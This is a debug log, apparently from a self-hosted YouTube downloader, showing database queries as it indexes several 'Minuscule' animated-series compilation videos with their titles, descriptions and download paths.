SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:43.766 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=120.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:43.768 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=121.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-17 06:00:53Z], 4] 00:49:43.800 [debug] QUERY OK source="media_items" db=30.9ms idle=123.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Cruel World | S01E46\n00:04:48 | Halloween Paranoid | S01E43\n00:09:37 | Lettuce | S01E48\n00:14:24 | King Size Camembert | S01E45\n00:19:03 | The Ladybug | S01E01\n00:23:39 | The Last Supper | S01E25\n00:28:29 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#centipede #chips #undergrowth #enemies #Halloween #paranoid #scare #Minuscule #nature #insects #ladybugs #animatedseries", "A Cruel World | Minuscule 🍃 40' Compilation", "6fe51b59-52d5-448b-a774-a4a35846dbdc", "wSbFheN58Bg", 2014, false, 4, "https://www.youtube.com/watch?v=wSbFheN58Bg", 41, "/downloads/Miniscule Season 1/2025-06-17 A Cruel World | Minuscule 🍃 40' Compilation/A Cruel World | Minuscule 🍃 40' Compilation [wSbFheN58Bg].mp4", false, false, false, [], 1, ~U[2025-06-17 06:00:53Z], ~U[2025-12-14 07:49:43Z], ~U[2025-12-14 07:49:43Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Cruel World | S01E46\n00:04:48 | Halloween Paranoid | S01E43\n00:09:37 | Lettuce | S01E48\n00:14:24 | King Size Camembert | S01E45\n00:19:03 | The Ladybug | S01E01\n00:23:39 | The Last Supper | S01E25\n00:28:29 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#centipede #chips #undergrowth #enemies #Halloween #paranoid #scare #Minuscule #nature #insects #ladybugs #animatedseries", "A Cruel World | Minuscule 🍃 40' Compilation", "wSbFheN58Bg", 2014, false, 4, "https://www.youtube.com/watch?v=wSbFheN58Bg", "/downloads/Miniscule Season 1/2025-06-17 A Cruel World | Minuscule 🍃 40' Compilation/A Cruel World | Minuscule 🍃 40' Compilation [wSbFheN58Bg].mp4", false, ~U[2025-06-17 06:00:53Z]] 00:49:43.800 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=155.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:43.801 [debug] QUERY OK source="media_profiles" db=0.2ms idle=35.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:43.802 [debug] QUERY OK source="media_items" db=0.3ms idle=35.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91157] 00:49:43.802 [debug] Current batch of media processed. Will check again in 1000ms 00:49:44.803 [debug] Current batch of media processed. Will check again in 1000ms 00:49:45.804 [debug] Current batch of media processed. Will check again in 1000ms 00:49:46.805 [debug] Current batch of media processed. Will check again in 1000ms 00:49:47.806 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Out Of A Tin Can | S01E65\n00:04:34 | O Tannenbaum | S01E71\n00:09:14 | Picnic | S01E24\n00:13:58 | United We Stand | S01E23\n00:18:25 | The Last Supper | S01E25\n00:23:14 | Some Weird Fly | S01E78\n00:27:44 | The Wild Bunch | S01E74\n00:32:23 | The Noodle Battle | S01E70\n00:36:58 | Insect High Velocity | S01E53\n00:41:36 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #fly #trap #harmony #Christmas #strategy #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2817, "filename" => "/downloads/Miniscule Season 1/2025-06-14 Out Of A Tin Can | Minuscule 🍃 55' Compilation/Out Of A Tin Can | Minuscule 🍃 55' Compilation [y31VFXyNBTg].mkv", "id" => "y31VFXyNBTg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=y31VFXyNBTg", "playlist_index" => 42, "timestamp" => 1749924061, "title" => "Out Of A Tin Can | Minuscule 🍃 55' Compilation", "upload_date" => "20250614"} 00:49:47.807 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=505.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:47.808 [debug] QUERY OK source="sources" db=0.4ms idle=162.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:47.809 [debug] QUERY OK source="media_items" db=1.0ms idle=163.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-14 18:01:01Z], 4] 00:49:47.813 [debug] QUERY OK source="media_items" db=2.4ms idle=165.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Out Of A Tin Can | S01E65\n00:04:34 | O Tannenbaum | S01E71\n00:09:14 | Picnic | S01E24\n00:13:58 | United We Stand | S01E23\n00:18:25 | The Last Supper | S01E25\n00:23:14 | Some Weird Fly | S01E78\n00:27:44 | The Wild Bunch | S01E74\n00:32:23 | The Noodle Battle | S01E70\n00:36:58 | Insect High Velocity | S01E53\n00:41:36 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #fly #trap #harmony #Christmas #strategy #Minuscule #nature #insects #ladybugs #animatedseries", "Out Of A Tin Can | Minuscule 🍃 55' Compilation", "5f3df95e-8ec2-4de9-b192-df685dd8c3e0", "y31VFXyNBTg", 2817, false, 4, "https://www.youtube.com/watch?v=y31VFXyNBTg", 42, "/downloads/Miniscule Season 1/2025-06-14 Out Of A Tin Can | Minuscule 🍃 55' Compilation/Out Of A Tin Can | Minuscule 🍃 55' Compilation [y31VFXyNBTg].mkv", false, false, false, [], 1, ~U[2025-06-14 18:01:01Z], ~U[2025-12-14 07:49:47Z], ~U[2025-12-14 07:49:47Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Out Of A Tin Can | S01E65\n00:04:34 | O Tannenbaum | S01E71\n00:09:14 | Picnic | S01E24\n00:13:58 | United We Stand | S01E23\n00:18:25 | The Last Supper | S01E25\n00:23:14 | Some Weird Fly | S01E78\n00:27:44 | The Wild Bunch | S01E74\n00:32:23 | The Noodle Battle | S01E70\n00:36:58 | Insect High Velocity | S01E53\n00:41:36 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #fly #trap #harmony #Christmas #strategy #Minuscule #nature #insects #ladybugs #animatedseries", "Out Of A Tin Can | Minuscule 🍃 55' Compilation", "y31VFXyNBTg", 2817, false, 4, "https://www.youtube.com/watch?v=y31VFXyNBTg", "/downloads/Miniscule Season 1/2025-06-14 Out Of A Tin Can | Minuscule 🍃 55' Compilation/Out Of A Tin Can | Minuscule 🍃 55' Compilation [y31VFXyNBTg].mkv", false, ~U[2025-06-14 18:01:01Z]] 00:49:47.814 [debug] QUERY OK source="sources" db=0.4ms idle=168.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:47.814 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:47.816 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91159] 00:49:47.816 [debug] Current batch of media processed. Will check again in 1000ms 00:49:48.817 [debug] Current batch of media processed. Will check again in 1000ms 00:49:49.818 [debug] Current batch of media processed. Will check again in 1000ms 00:49:50.819 [debug] Current batch of media processed. Will check again in 1000ms 00:49:51.820 [debug] Current batch of media processed. Will check again in 1000ms 00:49:52.821 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Convoy | S01E10\n00:04:41 | No Exit | S01E61\n00:09:20 | Hyperactive | S01E54\n00:14:01 | Insect High Velocity | S01E53\n00:18:40 | A Bee’s Night Out | S01E51\n00:23:28 | On Your Marks, get set, go ! | S01E75\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #hive #convoy #honey #freedom #house #exit #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1728, "filename" => "/downloads/Miniscule Season 1/2025-06-10 Convoy | Minuscule 🍃 35' Compilation/Convoy | Minuscule 🍃 35' Compilation [wfQjMrRjzqc].mp4", "id" => "wfQjMrRjzqc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wfQjMrRjzqc", "playlist_index" => 43, "timestamp" => 1749535245, "title" => "Convoy | Minuscule 🍃 35' Compilation", "upload_date" => "20250610"} 00:49:52.822 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1176.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:52.823 [debug] QUERY OK source="sources" db=0.3ms idle=1177.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:52.824 [debug] QUERY OK source="media_items" db=0.8ms idle=1178.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-10 06:00:45Z], 4] 00:49:52.826 [debug] QUERY OK source="media_items" db=1.5ms idle=1179.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Convoy | S01E10\n00:04:41 | No Exit | S01E61\n00:09:20 | Hyperactive | S01E54\n00:14:01 | Insect High Velocity | S01E53\n00:18:40 | A Bee’s Night Out | S01E51\n00:23:28 | On Your Marks, get set, go ! | S01E75\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #hive #convoy #honey #freedom #house #exit #Minuscule #nature #insects #ladybugs #animatedseries", "Convoy | Minuscule 🍃 35' Compilation", "41168bb0-9ff7-4e4d-8be3-f13f0a81bd59", "wfQjMrRjzqc", 1728, false, 4, "https://www.youtube.com/watch?v=wfQjMrRjzqc", 43, "/downloads/Miniscule Season 1/2025-06-10 Convoy | Minuscule 🍃 35' Compilation/Convoy | Minuscule 🍃 35' Compilation [wfQjMrRjzqc].mp4", false, false, false, [], 1, ~U[2025-06-10 06:00:45Z], ~U[2025-12-14 07:49:52Z], ~U[2025-12-14 07:49:52Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Convoy | S01E10\n00:04:41 | No Exit | S01E61\n00:09:20 | Hyperactive | S01E54\n00:14:01 | Insect High Velocity | S01E53\n00:18:40 | A Bee’s Night Out | S01E51\n00:23:28 | On Your Marks, get set, go ! | S01E75\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #hive #convoy #honey #freedom #house #exit #Minuscule #nature #insects #ladybugs #animatedseries", "Convoy | Minuscule 🍃 35' Compilation", "wfQjMrRjzqc", 1728, false, 4, "https://www.youtube.com/watch?v=wfQjMrRjzqc", "/downloads/Miniscule Season 1/2025-06-10 Convoy | Minuscule 🍃 35' Compilation/Convoy | Minuscule 🍃 35' Compilation [wfQjMrRjzqc].mp4", false, ~U[2025-06-10 06:00:45Z]] 00:49:52.827 [debug] QUERY OK source="sources" db=0.3ms idle=514.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:52.827 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:52.828 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91160] 00:49:52.828 [debug] Current batch of media processed. Will check again in 1000ms 00:49:53.829 [debug] Current batch of media processed. Will check again in 1000ms 00:49:54.830 [debug] Current batch of media processed. Will check again in 1000ms 00:49:55.831 [debug] Current batch of media processed. Will check again in 1000ms 00:49:56.832 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bananas | S01E69\n00:04:38 | Goofing Off | S01E37\n00:09:19 | The Bridge On The River Zzzzzzz | S01E18\n00:14:06 | Totem | S01E28\n00:18:52 | The Shellproof Nut | S01E40\n00:23:41 | Cicadas’ Song | S01E16\n00:28:30 | The Quest For The Pink Lollipop | S01E32\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bananas #ants #kitchen #sugar #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2022, "filename" => "/downloads/Miniscule Season 1/2025-06-05 Bananas | Minuscule 🍃 40' Compilation/Bananas | Minuscule 🍃 40' Compilation [2NONjVZCJuE].mkv", "id" => "2NONjVZCJuE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2NONjVZCJuE", "playlist_index" => 44, "timestamp" => 1749117709, "title" => "Bananas | Minuscule 🍃 40' Compilation", "upload_date" => "20250605"} 00:49:56.833 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=512.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", 